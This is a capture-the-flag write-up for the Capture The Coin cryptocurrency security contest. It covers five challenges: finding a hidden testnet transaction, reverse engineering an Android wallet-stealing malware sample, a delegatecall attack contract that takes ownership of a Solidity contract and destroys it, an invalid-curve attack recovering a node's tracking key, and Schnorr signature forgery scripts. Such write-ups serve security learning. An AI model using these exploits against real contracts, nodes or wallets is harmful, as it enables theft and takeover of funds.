Capture The Coin Writeup

https://capturethecoin.org/

Result

My team: Kubertu stayed at top #6

My personal work stayed at top #10

Hide and Seek (200 Point)

Question:

We found a mnemonic for a wallet with a note saying there is a hidden transaction:

play fever bullet unlock error palm insect pottery tower torch memory liquid

Can you find the exact amount transferred on the BTC Testnet network?Once you're strong enough, save the world:

Problems:

  • This seed is generated from BIP-44

  • We need to find exact amount transferred ?! I was confused as well. So, as I understood one mnemonic gives thousand of addresses. In order to find the exact address has transferred the money, the fastest way to do is automate things.

Methods:

  1. Use this online generator to get a list of addresses derived from BIP-44 https://iancoleman.io/bip39/

  2. Later, we have a list of BIP-44 addresses

  3. Write a automatic script by using blockcypher API

#!/bin/bash
input="from101.txt"
while IFS= read -r line
do
curl -s https://api.blockcypher.com/v1/btc/test3/addrs/$line | grep -w "balance" | cut -d ":" -f 2| cut -d "," -f 1 && echo $line
sleep 5
done < "$input"

4. The first address has 1000000 n2cceZi8jjMxTtmP7oVzX2ADt4jL6qcdhQ but it's not a right one

5. Keep on scanning, we found 179362 mygH814iJuKrg7tCY2fspCCpxtU3jrzDsd . Seemly, this account has a balance. Let's check them out on blockchain explorer. https://www.blockchain.com/btctest/address/mygH814iJuKrg7tCY2fspCCpxtU3jrzDsd

6. Total Received 0.00179362 BTC

Evil Droid (300 Point)

Question:

Someone sent us an Android malware sample saying that it stole all their BTC coins. Can you extract the evil address where all the money is sent?

https://drive.google.com/file/d/19AkEBgguBdzpRcdYWFC_ArAGVd8Sbylg/view?usp=sharing

Problems:

  • Is the evil address hard-coded?

  • Is the evil address called from arbitrary servers?

  • Is the evil address is hidden somewhere at the first created?

Analyze:

Is the evil address called from arbitrary servers?

Download the apk file and install it on an android phone. By using Burp Suite we can tamper its requests and see what's it calling in and out. Nothing found!

Is the evil address hard-coded?

Download the apk file and using dex2jar to decompress the file to java file, then drag them onto the jdgui to have a pretty human-reading format.

After hours of reading the code. I've found:

  • it uses Kotlin

  • It will target those Android phones which are installed com.madeup.wallet.app"

  • Then using regex to find the victim address

  • The evil address is encrypted and write them to log :D

protected void onCreate(@Nullable Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2131296284);
Log.d("asdf", Encryption.decryptMsg(new byte[] { -92, 12, 23, 115, 84, 48, -125, -66, 40, 59, 105, 63, 19, 29, -93, -67, 92, 119, 69, -62, 127, 35, 114, 85, 117, -5, -34, -94, -73, -97, 41, -78, 59, 13, -116, -103, -51, 53, -112, 25, -30, -76, 109, -52, -114, 118, -80, 0 }));
}

Answer:

  1. Connect the phone to the PC

  2. Run adb logcat | grep "asdf"

  3. Open the app

Tricky Ether (500 point)

Question:

Can you cause the ethereum contract below to self destruct?

pragma solidity ^0.5.10;
contract Jackpot {
address public owner;
constructor() public payable {
owner = msg.sender;
}
function destroyme() public {
require(msg.sender == owner);
selfdestruct(msg.sender);
}
function hackme(address _address) public {
_address.delegatecall("0x12345678");
}
}

Cause the contract at 0x8fb994E4F056c659CF96f9cAFdC4dd6F2cD402F8 to selfdestruct itself.

Problems:

  • Contract using selfdestruct

  • Contract using delegatecall

  • To execute the function selfdestruct we have to become an owner

  • delegatecall is calling to an arbitrary number/address ??!!

Answer:

Paraphrased from the solidity docs:

“Delegatecall is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values.

This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.”

This low-level function has been very useful as it’s the backbone for implementing Libraries and modularizing code. However it opens up the doors to vulnerabilities as essentially your contract is allowing anyone to do whatever they want with their state.

Thanks to this drawback of delegatecall. I created an attack smart contract

pragma solidity ^0.5.10;
contract Jackpot {
address public owner;
constructor() public payable {
owner = msg.sender;
}
function destroyme() public {
require(msg.sender == owner);
selfdestruct(msg.sender);
}
function hackme(address _address) public {
_address.delegatecall("0x12345678");
}
}
contract Checker {
address public owner;
constructor() public {
owner = msg.sender;
}
function()
external
payable
{
owner = msg.sender;
}
}

1. Add address 0x8fb994E4F056c659CF96f9cAFdC4dd6F2cD402F8 to Jackpot smart contract.

2. Deploy Checker smart contract which has fallback function.

3. Add our smart contract address to function hackerme . The delegatecall will call our smart contract with an arbitrary function which also means it will trigger the fallback function. Bravo! we soon will become the owner of Jackpot smart contract.

4. We become an owner

5. Execute destroyme() function (I had to increase gas limit to 300000).

6. The contract is killed.

Linkable Payments (300)

Your goal is to recognize a flaw in a particular implementation of a digital currency client, that utilizes CryptoNote key/transaction model, and use it to get the tracking key of the node running this client. Setup

The node that you are targeting is misconfigured; it's error log is publicly accessible via a RPC endpoint. What is relevant for this challenge are log entries created by the function that checks every transaction that passes through the node.

You construct and broadcast a series of invalid transactions. These transactions are recored in txs.json . Many other fields that would be present in a real transaction are omitted for brevity.

Althought the broadcasted transactions are invalid, with this particular node you can see error messages mentioning these transactions appearing in the node's aforementioned error log. These log entries are recorded in err_log.json.

Using this information, find the tracking key of the node owner. This tracking key is the flag for the challenge. The flag must be submitted in hex format. Technical details

Read section 4.3 of CryptoNote v2.0 whitepaper to understand how a node is supposed to process transactions To simplify the challenge a little, the destination key is P=rA and P'=aR. Then, the tracking key is not the pair (a, B), but just a (a single 160-bit hexadecimal number). B would be known to us anyway in a real-world scenario, and is irrelevant for this challenge, since it's not used in the key calculation.
The elliptic curve used by the digital currency in this challenge is brainpoolP160r1. It's a 160-bit curve, so a point on the curve is a pair of 160-bit numbers. A point on the curve is serialized as follows: 0xXXXXYYYY, where XXXX is a 160-bit hexadecimal number corresponding to the x-coordinate of the point and YYYY is another 160-bit number in hex corresponding to the y-coordinate of the point. Both coordinates are left-padded with zeros when needed, so that the resulting number of hexadecimal digits is always 40 for each coordinate. These two numbers are then concatenated together and prefixed with 0x. Thus the total length of a serialized ECC point is 82 characters.

Appendix

It's important to note that the node operator's funds are still safe since the spending key is not stored on the node or used for transaction scanning. But now you can set up your own tracking node and watch every transaction that is sent to the node operator, defeating the unlinkable payments model.```

We have 2 files, transactions and their error log:

txs.json
```[
{
"tx_output":{
"dest_key":"G0",
"amount":"0"
},
"tx_pub_key":"0x898CB2616E46E8F01CB4C05732EB89D921543FE30000000000000000000000000000000000000000"
},
{
"tx_output":{
"dest_key":"G1",
"amount":"0"
},
"tx_pub_key":"0x7631DC05F1954DA902E29FC8E2E7EC21A80C5CA474657D752620FD5E46628039AF3409C6CB209C5F"
},
...
...
```
err_log.json
```
[
{
"err_type":"UndefinedComparisonError",
"tx_hash":"0xC22BFF809BF5FC146D4AB3D971E1E3F7A079BEE4B03D4D33FDFC846DBDC4D881",
"err_msg":"Comparison is not defined between P=0xG0 (type TxDestKeyStr) and P_prime=0x898CB2616E46E8F01CB4C05732EB89D921543FE30000000000000000000000000000000000000000 (type TxDestKey)",
"datetime":"2019-06-12T21:24:05.160604"
},
{
"err_type":"UndefinedComparisonError",
"tx_hash":"0xCABDBF620B9A5989A238EF4235F756DDD77B5B1E3837E99DCF2EBB2B1CC4A458",
"err_msg":"Comparison is not defined between P=0xG1 (type TxDestKeyStr) and P_prime=0x7631DC05F1954DA902E29FC8E2E7EC21A80C5CA474657D752620FD5E46628039AF3409C6CB209C5F (type TxDestKey)",
"datetime":"2019-06-12T21:24:05.365136"
},
...

The CryptoNode use Elliptic-curve Diffie–Hellman(ECDH) to establish a common secret between client and server, the elliptic-curve is brainpoolP160r1(RFC - https://tools.ietf.org/html/rfc5639), so we know value of p, A, B, base point (x,y), q

Curve-ID: brainpoolP160r1

p = E95E4A5F737059DC60DFC7AD95B3D8139515620F
A = 340E7BE2A280EB74E2BE61BADA745D97E8F7C300
B = 1E589A8595423412134FAA2DBDEC95C8D8675E58
x = BED5AF16EA3F6A4F62938C4631EB5AF7BDBCDBC3
y = 1667CB477A1A8EC338F94741669C976316DA6321
q = E95E4A5F737059DC60DF5991D45029409E60FC09
h = 1

In order to understand the basic idea behind our attacks, you just need to know that an elliptic curve E in cryptography is a set of points over a finite field satisfying the following equation: E: y^2 = x^3 + ax + b

You can read more from https://en.wikipedia.org/wiki/Elliptic-curve_cryptography

According to the CryptoNode whitepaper, we know the destination key is "P = Hs(rA)G + B" and one-time public key is "P' = Hs(aR)G + bG". But to simplify the challenge, the destination key is P=rA, P'=aR and the tracking key is a

P = rA P' = aR R = rG => P' = a(rG)

G is a base point, that belong to the curve(brainpoolP160r1). We need to find the tracking key a(a part of private key).

Reading through the transaction log txs.json, we can get x, y (It's a 160-bit curve, so a point on the curve is a pair of 160-bit numbers. A point on the curve is serialized as follows: 0xXXXXYYYY, where XXXX is a 160-bit hexadecimal number corresponding to the x-coordinate of the point and YYYY is another 160-bit number in hex corresponding to the y-coordinate of the point). The first 20 bytes of the transaction is X, the last 20 bytes is Y. Now we use SageMath to check these points - They belong to the curve?.

After checking, all of them do not belong to the defined curve. Look like the attacker sent 22 invalid points(outside of the defined curve) to the server. The invalid point could belong to a different curve E' (different B), which consists of a very small number of elements(Invalid curve attacks).

Let’s call this new curve E′. E′: y^2 ≡ x^3 + A*x + B' (mod P) B' ≠ B

We have 22 points in the txs.json, so we can compute B' with the expression:

B' = (Y^2 - X^3 - A*X) mod p

B' = [214056964304889, 221864837895040, 227922420544393, 241972569596889, 8356763387106, 28159690006704, 9516820837131, 165209032884639, 168449704989074, 60673558959867, 101581735758527, 159237028241252, 40242026678833, 103670189236856, 262646877055792, 240332779594647, 239871262924756, 193672526341504, 269060903799201, 187321463214601, 185801876971391, 256736902157449]

These new curve’s order has a small prime divisor r will ensure there exists a subgroup of 𝔼′ of small order r. As the discrete logarithm(https://en.wikipedia.org/wiki/Discrete_logarithm) is now in the subgroup of |r| generated by G ∈ 𝔼′, the result will only have r possible values. If we send the invalid point P' to the server, the server computes secret sP'. The secret can have only small possible values. If we are able to learn the result sP'(from err_log.json), we then also learn s1 = s mod (small order).

This will leak k mod r. Repeating this for new curves and new r values will create a system of linear congruences which can be solved with the Chinese Remainder Theorem, we can find out the final value of k.

a = k ≡ X (mod r)

Using the result in err_log.json, we can compute the discrete logarithm of G1` and the order of G`.

K mod order(G`) = discrete_log(G1`)

K mod 2 = 1
K mod 11 = 1
K mod 23 = 7
K mod 5 = 1
K mod 41 = 34
K mod 7 = 4
K mod 293 = 273
K mod 691 = 161
K mod 347 = 93
K mod 17 = 7
K mod 229 = 162
K mod 53 = 19
K mod 13 = 7
K mod 977 = 380
K mod 89 = 83
K mod 109 = 82
K mod 9767 = 4771
K mod 439511 = 381213
K mod 10009 = 758
K mod 26459 = 14048
K mod 37 = 11
K mod 949213 = 196934

Finally, We get the secrect with the Chinese Remainder Theorem(CRT)

CRT[1, 1, 7, 1, 34, 4, 273, 161, 93, 7, 162, 19, 7, 380, 83, 82, 4771, 381213, 758, 14048, 11, 196934][2, 11, 23, 5, 41, 7, 293, 691, 347, 17, 229, 53, 13, 977, 89, 109, 9767, 439511, 10009, 26459, 37, 949213]
=> K =1156617505655811021722283933528498201 => hex(K) = 0xdec1a551f1edc014ba5edefc042019

The secret:

0xdec1a551f1edc014ba5edefc042019

Schnorrer signature (400)

Question & Answer:

Code:

from fastecdsa.curve import secp256k1
from fastecdsa.point import Point
from hashlib import sha256
from Crypto.Random import random
G = Point(secp256k1.gx, secp256k1.gy, curve =secp256k1)
c = int('dfea49684815ac0fd1d20404d9eb6146072e1928dcb9c31d7eb751268976e3ee',16)
Ux = int('e1a83769a5da6d4c5235746e89ab18c2d8e3b50b4856ae11656f979ef5bfe1cd',16)
Uy = int('ebf7a69ef8c22d2af9a9429970e52ac9458eb94bb1463790dadb431dec1546e6',16)
U = Point(Ux,Uy,curve = secp256k1)
x = random.randint(0,secp256k1.q)
print x
temp = -c *U + G*x
print temp
print hex(49368365179398110671535853755606456803748384354143305816183563097234358761597)

Forging a signature (500)

Question & Answer

##### Utility function
p_hex ='fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f'
p = int(p_hex, 16)
# print p
def uncompress(compressed_key):
y_parity = int(compressed_key[:2]) - 2
x = int(compressed_key[2:], 16)
a = (pow(x, 3, p) + 7) % p
y = pow(a, (p+1)//4, p)
if y % 2 != y_parity:
y = -y % p
uncompressed_key = '04{:x}{:x}'.format(x, y)
return(uncompressed_key)
def compress(uncompressed_key):
y = uncompressed_key[66:]
x = uncompressed_key[2:66]
# print int(y,16)%2
if int(y,16) % 2 == 0:
compressed_key = '02' + x
else: compressed_key = '03' + x
return compressed_key
##################################
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point
from hashlib import sha256
G = Point(secp256k1.gx, secp256k1.gy, curve =secp256k1)
hash = sha256('CoinbaesRulez').hexdigest()
hash = int(hash,16)% secp256k1.q
H = G*hash
hash_inv = pow(hash,secp256k1.q-2,secp256k1.q)
x = (4011*hash_inv + 6420) % secp256k1.q
y = H*x
r = 25
t = H*r
text1 = ('02{:x}'.format(H.x)).decode('hex')
text2 = ('03{:x}'.format(t.x)).decode('hex')
text3 = ('020{:x}'.format(y.x)).decode('hex')
# value_to_hash = compress(text1)+compress(text2)+compress(text3)
value = text1+text2+text3
print len(text3)
# print compress('04{:x}{:x}'.format(H.x,H.y))
# print compress('04{:x}{:x}'.format(t.x,t.y))
# print compress('04{:x}{:x}'.format(y.x,y.y))
# print hex(y.x)
c = sha256(value).hexdigest()
s = (r + int(c,16)*x)% secp256k1.q
# print text2.encode('hex')
# print y
print hex(s)
# print G*s
# print t +y*int(c,16)